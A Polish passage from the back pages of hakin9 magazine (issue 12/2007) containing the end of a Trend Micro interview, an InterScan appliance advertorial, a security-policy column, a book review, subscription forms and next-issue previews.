nawiają się, jakie ataki mogą mieć miejsce w przyszło-
ści.  Niekiedy  jest  to  natomiast  działalność  reaktywna 
– zdajemy sobie sprawę, że pojawiają się nowe metody 
ataku i musimy na nie reagować. Z natury rzeczy za-

wsze okaże się, że ktoś wymyśli nową metodę ataku, 
wykorzystującą jakąś nieznaną wcześniej lukę. Oczy-
wiście, firmy oferują także mechanizmy heurystyczne, 
które starają się odkryć nowy typ ataku czy zabezpie-
czyć  przed  podejrzaną  aktywnością.  Jednak  mecha-
nizmy te nigdy nie będą w 100% skuteczne i zawsze 
ich  działanie  będzie  obarczone  pewnym  marginesem
błędu.Samo  korzystanie  z  Internetu  nigdy  nie  będzie 
całkowicie bezpieczne – bez względu na to, jakie za-
bezpieczenia będą stosowane.

h9:

 W jaki sposób rozpoznajecie nowe wirusy, czy korzy-

stacie z wiedzy samych hakerów?

FD

Ludzie  zajmujący  się  rozpoznawaniem  złośliwe-

go kodu muszą wiedzieć, jak on działa, więc – nie za-
głębiając się w ich przeszłość – muszą cechować się
szeroką  wiedzą  na  ten  temat.  Jeżeli  chodzi  o  rozpo-
znawanie nowych zagrożeń, to dysponujemy ogromną 
bazą klientów, którzy dostarczają nam próbki. Po dru-
gie, w naszej ofercie są rozwiązania dedykowane dla 
dostawców  usług  internetowych,  które  –  oprócz  blo-
kowania  złośliwego  kodu,  zanim  opuści  sieć  danego
operatora  –  wykorzystują  dodatkowo  behawioral-
ną  analizę  ruchu  sieciowego,  która  również  jest  źró-
dłem na temat aktywności i  tego, co się dzieje w cy-
berprzestępczym świecie. Jeśli jesteśmy w stanie sami
dotrzeć do serwisów, które służą do infekowania kom-
puterów, także analizujemy ich kod źródłowy i opraco-
wujemy odpowiednie szczepionki. 

h9

Czy ma miejsce współpraca z konkurencją, wymiana 

informacji o zagrożeniach itp.?

FD:

 Generalnie taka wymiana informacji istnieje. Twórcy 

rozwiązań wymieniają się wiedzą dotyczącą nowo odkty-
wanych wirusów, skupiając się jednocześnie na zapew-
nieniu  swoim  klientom  możliwie  największego  poziomu 
bezpieczeństwa. Sama wymiana informacji służy dobru 
wszystkich uzytkowników komputrów . 

h9:

  Czy  walka  z  cyberprzestępczością  to  trudne  zada-

nie ?

FD:

 Powiedziałbym tak: to nie jest coś niewyobrażal-

nie  trudnego  –  jak  widać  radzimy  sobie.  Trzeba  tyl-
ko  wiedzieć,  co  chce  się  zrobić  i  mieć  odpowiednie
zasoby,  wzmocnione  oczywiście  ciężką  pracą.  W  tej
branży trudno jest być geniuszem, stosować mecha-
nizmy i projektować rozwiązania, których nie są w sta
nie  wymyślić  inni.  To  sektor  podobny  do  branży 
medycznej,  gdzie  ludzie  opracowują  nowe  lekarstwa 
na choroby. Efekty są owocem lat pracy i zbierania in-
formacji – zaczyna to procentować dopiero po długim
okresie działania na rynku. W Trend Micro ponad 800 
inżynierów  zajmuje  się  wyłącznie  opracowywaniem 
szczepionek oraz badaniami nad nowymi typami ata-
ków.

h9:

 Dziękujemy za rozmowę.

FD:

 Dziękuję. l

background image

INTERSCAN GATEWAY SECURITY APPLIANCE 
– WCZESNE POWSTRZYMANIE INFEKCJI

Trend  Micro  ma  w  ofercie  całą  gamę  urządzeń
przeznaczonych do ochrony firm, w tym tych śred-
niej  wielkości.  Obsługują  nie  tylko  ochronę  bra-
my  internetowej  (IGSA),  ale  także  poszczególne 
usługi, np. poczty – InterScan Messaging Security
Appliance  czy  ruchu  http  i  ftp  –  InterScan  Web
Security Appliance.
 

PODŁĄCZ I ZAPOMNIJ 

InterScan  Gateway  Security  Appliance  (obecnie 
w  wersji  1.5)  umiejscowione  jest  pomiędzy  fire-
wallem  a  siecią  wewnętrzną  i  jest  uzupełnieniem 
zapory na wyższych warstwach. IGSA, jako produkt 
związany  z  zagrożeniami  i  ochroną,  jest  koloru 
czerwonego. Należy do klasy urządzeń SCM (secure
content  management)  zapewniających  bezpie-
czeństwo przesyłanych treści. IGSA odciąża admi-
nistratora w monitorowaniu zagrożeń i przeciwdziała-
niu  im,  gdyż  zaprojektowane  jest  według  zasady 
„podłącz i zapomnij”. Urządzenie dostarczane jest 
już jako wstępnie skonfigurowane, co ułatwia wdro-
żenie. Producent udziela na nie, co jest ewenemen-
tem, trzyletniej gwarancji sprzętowej. Aktualizacje 
firmware  są  darmowe,  w  ramach  usług  wsparcia.  

ANTYWIRUS, ANTYSPAM 

I ANTYSPYWARE – TRZY W JEDNYM

Urządzenie jest jednostką serwerową wysokości 
1U  (do  szaf  19").  Frontowy  panel  LCD  pozwala
sprawdzić konfigurację interfejsu sieciowego i ob-
ciążenie. Za pomocą jednej konsoli sieci Web urzą-

dzenie  automatycznie  blokuje  zagrożenia:  wiru-
sy, programy szpiegujące, spam, phishing, phar-
ming, ataki komputerów-zombie czy niebezpiecz-
ne  adresy  URL,  na  bieżąco  filtrując  przesyłane 
treści. IGSA może funkcjonować w trybie w pełni 
transparentnym lub jako proxy.

Ochrona przed zagrożeniami realizowana jest 

poprzez skanowanie poczty (ruch poprzez pro-
tokoły SMTP, POP3), przeglądanych stron WWW 
oraz  skanowanie  ruchu  ftp.  Dla  każdego  pro-
tokołu  mamy  możliwość  osobnej  konfiguracji, 
m.in.  parametrów  skanowania,  akcji  podjętych 
w  przypadku  wykrycia  określonego  zagrożenia 
czy  powiadomień.  Dzięki  Network  Reputation 
Services  (NRS)  eliminowanie  spamu  jest  bar-
dzo  proste,  ponieważ  blokowany  jest  on  u  źró-
dła  poprzez  filtrowanie  wiadomości  według  ad-
resu IP serwera nadawcy (ERS) a do filtrowania 
URL można wykorzystać nowy, jedyny tego ty-
pu,  dynamiczny  mechaninzm  Web  Reputation 
Services (WRS), informujący klientów o reputacji 
odwiedzanych witryn w czasie rzeczywistym po-
przez zapytania DNS. 

Usługa Trend Micro Damage Cleanup Services 

automatycznie eliminuje infekcje wirusami i pro-
gramami  szpiegującymi,  oszczędzając  czas  po-
święcany  na  administrowanie  i  radykalnie  skra-
cając  okresy  przestojów  systemu.  Zintegrowana 
z  IGSA  usługa  Outbreak  Prevention  Services  po-
zwala  dodatkowo  zabezpieczyć  sieć  przed  no-
wymi zagrożeniami wirusowymi, na które nie są 
jeszcze dostępne sygnatury.

SZCZEGÓLNE SKANOWANIE POCZTY 

W  IGSA  skanować  można  cały  ruch  lub  pliki
o wskazanych rozszerzeniach. Możliwe jest inte-
ligentne  skanowanie,  gdzie  szczególnej  kontroli 
poddawane są pliki z rozszerzeniami, w których 
potencjalnie znajdować się może szkodliwy kod. 
Jako parametr można określić objętość pliku lub 

poziom kompresji. Ruch przesyłany sprawdzany 
jest nie tylko na okoliczność występowania wiru-
sów,  ale  także  spyware,  adware,  grayware,  dia-
lerów, programów i narzędzi wykorzystywanych 
do uzyskania zdalnego dostępu czy aplikacji do 
łamania  haseł.  Autorzy  wirusów  próbują  obejść 
filtry  poprzez  zastosowanie  kompresji  plików. 
IGSA  korzysta  tu  z  mechanizmu  IntelliTrap,  któ-
ry przeprowadza heurystyczną analizę skompre-
sowanych plików, tak, aby zminimalizować ryzy-
ko przedostania się wirusa lub bota w załączniku. 
Odbywa się to bez dekompresji pliku. IGSA oferu-
je  też  ochronę  dnia  zerowego  –  zanim  zostanie 
przygotowana  szczepionka.  Dla  ruchu  http  sys-
tem zarządza, za pomocą filtra adresów URL, ko-
rzystaniem  z  sieci  Web,  ograniczając  dostęp  do 
różnych  kategorii  stron  internetowych  zgodnie 
z ustalonym harmonogramem. 

Obsługa  urządzenia  sprowadza  się  do  aktu-

alizacji i zarządzania ochroną za pomocą jednej 
konsoli  dostępnej  z  poziomu  przeglądarki  inter-
netowej.  IGSA  to  nie  tylko  ochrona  przed  zagro-
żeniami z Internetu, lecz także usuwanie zagro-
żeń  wewnątrz  sieci  dzięki  wbudowanej  usłudze
Damage Cleanup Services. Pozwala ona na auto-
matyczne (poprzez ActiveX) oczyszczenie stacji 
roboczych  ze  spyware  oraz  złośliwego  oprogra-
mowania,  nie  wymagając  żadnej  dodatkowej  in-
stalacji oprogramowania na stacjach roboczych. 

Urządzenie  InterScan  Gateway  Security  Ap-

pliance firmy Trend Micro dostępne jest w wersji dla 
100, 200, 300, 600, 800 oraz 1000 użytkowników. 
Więcej informacji 

http://pl.trendmicro-europe.com/

enterprise/products. 

Reklama

Prowadzenie biznesu wymaga stałego dostępu do danych i systemu 

informatycznego. Firma Trend Micro przygotowała urządzenie InterScan 

Gateway Security Appliance (IGSA), które łączy w sobie antywirus, antyspam 

i antyspyware w jednym unicie. IGSA stanowi uzupełnienie istniejących zapór 

ogniowych i wirtualnych sieci VPN dla wczesnego powstrzymywania infekcji. 

DAGMA Sp. z o.o. – dystrybutor 
TREND MICRO w Polsce
ul. Pszczyńska 15
40-478 Katowice
tel. (32) 259 11 00
www.dagma.pl 
sales@dagma.pl 
www.trendmicrosmb.pl

Kontakt:

background image

hakin9 Nr 12/2007

www.hakin9.org

78

S

ystem  komputerowy  można  zaatakować  na  dwa 
sposoby: bezpośrednio oraz pośrednio. Nietrudno 
się domyślić, że atak bezpośredni polega na wyko-

rzystaniu różnych podatności danego systemu (zdalnych 
czy lokalnych), w celu jego całkowitego lub częściowego 
przejęcia.  Atak  pośredni  natomiast  najczęściej  wykorzy-
stuje błąd PPKK (Problem Pomiędzy Klawiaturą a Krze-
słem). Błąd ten pojawia się, gdy osoba odpowiedzialna za 
dany  system  nie  do  końca  prawidłowo  (lub  wcale)  prze-
strzega  zasad  bezpieczeństwa  obowiązujących  w  danej 
infrastrukturze. Zasady te noszą nazwę planu lub polityki 
bezpieczeństwa. Celem opracowania polityki systemu jest 
poprawienie  i  zagwarantowanie  odpowiedniego  poziomu 
zabezpieczeń  dla  naszych  technologii  informatycznych. 
Wszystkie systemy komputerowe cechuje pewien poziom 
wrażliwości (nawet mimo dobrych zabezpieczeń sprzęto-
wych), dlatego zasady bezpieczeństwa stanowiące część 
polityki  pozwalają  na  znaczne  obniżenie  tej  wrażliwo-
ści. Dobre zasady bezpieczeństwa są na tyle surowe, że 
zapewniają pożądany poziom bezpieczeństwa dla obsłu-
giwanego systemu i przechowywanych w nim informacji. 
W ten sposób każda osoba posiada jasno określoną odpo-
wiedzialność i oczekiwania w odniesieniu do dostępu do 
systemu. Motywacją dla każdej osoby, która jest częścią 
całego systemu zabezpieczeń (i może stanowić najsłab-
sze ogniwo poprzez ignorancję naszej polityki), jest zawar-
cie informacji o konsekwencjach niewłaściwego zachowa-
nia lub nieprzestrzegania zasad. Każdy użytkownik uzy-
skujący  dostęp  do  systemu  powinien  móc  zapoznać  się
z zasadami bezpieczeństwa. Dla pewności można przy-
gotować  stronę  z  własnoręcznymi  podpisami,  na  której 
użytkownik  wyraża  zgodę  na  akceptację  zasad.  Korzy-
ści  płynące  z  przestrzegania  stworzonych  nakazów  czy 
zakazów są wymierne nie tylko dla danej osoby, ale i dla 
całej organizacji. Skoro poszczególne jednostki posiadają 
świadomość np. co do limitów połączeń z innymi systema-
mi,  znają  priorytety  udostępniania  i  przywracania  usług, 
wiedzą, na jakiej zasadzie odbywa się dostęp przy pomocy 
publicznych łączy, w jaki sposób odbywa się korzystanie 
z zastrzeżonych materiałów, czy też komu można nadać 
lub  ograniczyć  przywileje  systemowe,  to  w  połączeniu 
z wiedzą i działaniami innych osób mechanizm ten może 
stanowić  dość  szczelny  system  zarządzania  wrażliwą
informacją.  Należy  także  pamiętać  o  kontroli  działania
i przestrzegania zasad. Ponieważ każda organizacja ma 

Grunt to mieć zasady 

system  różnych  hierarchii,  można  wprowadzić  autoryza-
cję działania, która pozwala na kontrolę przetwarzanych 
informacji.  W  ten  sposób  osoba  bezpośrednio  odpowie-
dzialna za bezpieczeństwo daje możliwość uzyskania naj-
wyższego  poziomu  bezpieczeństwa  przez  pracowników
technicznych czy użytkowników. Dla przykładu: zarówno 
administrator, jak i zwykły użytkownik mają własne obowiązki 
związane z bezpieczeństwem systemu. Administrator jest 
bardziej związany z codziennymi operacjami systemu, ponie-
waż kieruje, wykonuje i monitoruje zadania zabezpieczeń. 
Użytkownik jest zwykle ogólnie odpowiedzialny za orga-
nizację własnej pracy wykonywanej w systemie i to z nim 
związane  jest  największe  zagrożenie  szkodami  poprzez 
celowe lub przypadkowe działania. Bardzo często systemy 
przeżywające awarię są uszkadzane przez osoby mające 
prawo do korzystania z nich lub obsługi. Dlatego dodatko-
wy  nadzór  osoby  związanej  bezpośrednio  z  bezpie-
czeństwem  wspomaga  proces  usuwania  powstałych  luk
w  zasadach  bezpieczeństwa.  Wybiegając  poza  czynniki 
bliższe systemowi, bardzo przydatnymi dla kontroli ruchu 
są środki kontroli fizycznego dostępu, które w odpowied-
ni sposób ograniczają wejścia i wyjścia pracowników (ruch 
urządzeń i nośników) na danym obszarze (np. serwerowni, 
centrum  danych).  Oczywiście  fundamentem  jest  zapew-
nienie  bezpieczeństwa  pożarowego  wykorzystywanych 
budynków,  awaryjnego  zasilania  oraz  uzyskanie  pewno-
ści, że systemy grzewcze oraz klimatyzacyjne są w pełni 
sprawne. Ze względu na systemy mobilne (np. laptopy), 
należy stosować dostępne szyfrowanie danych na nośni-
kach, co pozwoli na uchronienie informacji w przypadku 
kradzieży lub zagubienia urządzenia. Nieużywane syste-
my  przenośne  należy  poddać  procesowi  bezpiecznego 
usuwania  danych  (bez  możliwości  odtworzenia)  i  prze-
chowywać  w  bezpiecznym  miejscu.  Procedury  bezpie-
czeństwa można utworzyć dla każdego systemu o różnej 
charakterystyce, przeznaczeniu oraz wartości. To samo 
tyczy się grup docelowych. Jednak najważniejszym wąt-
kiem w tej kwestii jest uniemożliwienie powstania błędu 
PPKK poprzez systematyczne egzekwowanie przestrze-
gania stworzonych na potrzeby danej organizacji zasad. 
Grunt to mieć zasady. Bo to, co może nas zniszczyć, to 
postęp  bez  współczucia,  bogactwo  bez  pracy,  wiedza 
bez milczenia, religia bez odwagi, kult bez świadomości
i polityka bezpieczeństwa bez stosowanych zasad. l

Patryk Krawaczyński, agresor@nfsec.pl

Felieton

background image

Księgozbiór

hakin9 Nr 12/2007

www.hakin9.org

79

Tytuł: Kryptografia w Bazach Danych. Ostatnia Linia Obrony   

Autor: Kevin Kenan

Wydawca: Wydawnictwo Naukowe PWN

Rok wydania w Polsce: 2007

Liczba stron: 300 

książce Kryptografia w bazach danych. Ostat-
nia  linia  obrony  można  pisać  naprawdę  wiele. 
Oferuje  ona  bardzo  dokładny,  ale  też  prakty-

czny  przegląd  podstaw  współczesnej  kryptografii,  na 
pierwszym miejscu stawiając poufność danych.

Choć książka wymaga od czytelnika podstawowej 

wiedzy z zakresu baz danych (jak również kryptografii),
nic nie stoi na przeszkodzie, aby sięgnął po nią ktoś, kto 
dopiero  rozpoczyna  przygodę  ze  sztuką  najwyższego
 bezpieczeństwa informacji. Pozycja podzielona jest na 
cztery części.

Pierwsza z nich skupia się na bezpieczeństwie baz 

danych, część druga obejmuje szczegóły projektu sys-
temu kryptograficznego. Trzecia część opisuje praktyki
tworzenia  oprogramowania  niezbędnego  do  bezpiecz-
nej implementacji systemu kryptograficznego, natomiast 
czwarta  –  ostatnia  –  przedstawia  sposoby  wdrożenia

wcześniej prezentowanych projektów i metodologii. Nie-
wątpliwie dużą zaletą książki jest spora ilość przykładów,
które koncentrują się na omawianych zagadnieniach. Aby 
w  pełni  odczuć  siłę  prezentowanych  przykładów,  wy-
maga się od czytelnika podstawowej wiedzy z zakresu
programowania w języku Java.

Warto zwrócić uwagę, że autor omawianej pozycji 

jest  szefem  programu  bezpieczeństwa  baz  danych 
w firmie Symantec. Współpracuje z zespołami tworzą-
cymi oprogramowanie, aby zapewnić bezpieczeństwo 
aplikacji i baz danych wdrażanych przez firmę.

Podczas  lektury  książki  Kryptografia  w  bazach 

danych.  Ostatnia  linia  obrony  być  może  początkowo 
zniechęci  Was  zbyt  dosłowne  tłumaczenie  pewnych  ter-
minów, jednak dla oceny całości jest to mało znaczący 
drobiazg.

 

 

 

 

Tomasz Przybylski

R

E

K

L

A

M

A

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 427 36 79 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (2 płyty CD)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku stycznia 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 1/2008 

w następnym numerze 

między innymi:

Zapowiedzi

Luki w grach komputerowych

Strategiczne,  zręcznościowe,  logiczne,  przygodowe...  Gry  komputerowe 
– znane i lubiane zarówno przez dzieci, jak i dorosłych. Tym razem zajmie-
my się nie ich mocnymi stronami, ale niedoskonałościami. Czy luki w grach 
uprzyjemniają graczom czas spędzony przed komputerem, czy wręcz prze-
ciwnie?

Skanowanie na ślepo

Artykuł przedstawia technikę skanowania pozwalającą na odkrycie para-
metrów połączenia dwóch komputerów, potrzebnych do zerwania połącze-
nia lub wstrzyknięcia dodatkowych danych. Po przeczytaniu artykułu Czy-
telnik będzie nie tylko wiedział, na czym polega owa technika, ale również 
rozumiał,  dlaczego  losowość  odgrywa  kluczową  rolę  w  bezpieczeństwie 
komputerowym.

Windows Vista

Najnowsza wersja systemu Windows nazywa się Vista i została wprowadzo-
na na rynek przez Microsoft w 2005 roku. Od tego czasu spotkała się z szero-
ką krytyką. A jak wygląda Vista od strony bezpieczeństwa – może zasługuje na 
pochwałę? O bezpieczeństwie systemu przeczytają Państwo w artykule Artura 
Żarskiego.

Nazwy plików i błędy w oprogramowaniu

Autor zajmuje się tematem błędów w oprogramowaniu związanych z nazwa-
mi plików – directory traversal, czyli możliwością zmiany ścieżki zapisu pliku 
poprzez  odpowiednie  spreparowanie  jego  nazwy  oraz  filename  spoofing
czyli błędem polegającym na wyświetlaniu innej niż rzeczywista nazwy pliku. 
Artykuł zilustrowano przykładami wykrytych przez Autora błędów w istnieją-
cym oprogramowaniu, a także błędów znalezionych przez inne osoby i zgło-
szonych na listę Bugtraq.

NA CD:

•   hakin9.live – bootowalna dystrybucja Linuksa,
•   mnóstwo narzędzi – niezbędnik hakera,
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•   dodatkowa dokumentacja,
•   pełne wersje komercyjnych aplikacji.

Atak

Obrona

background image
background image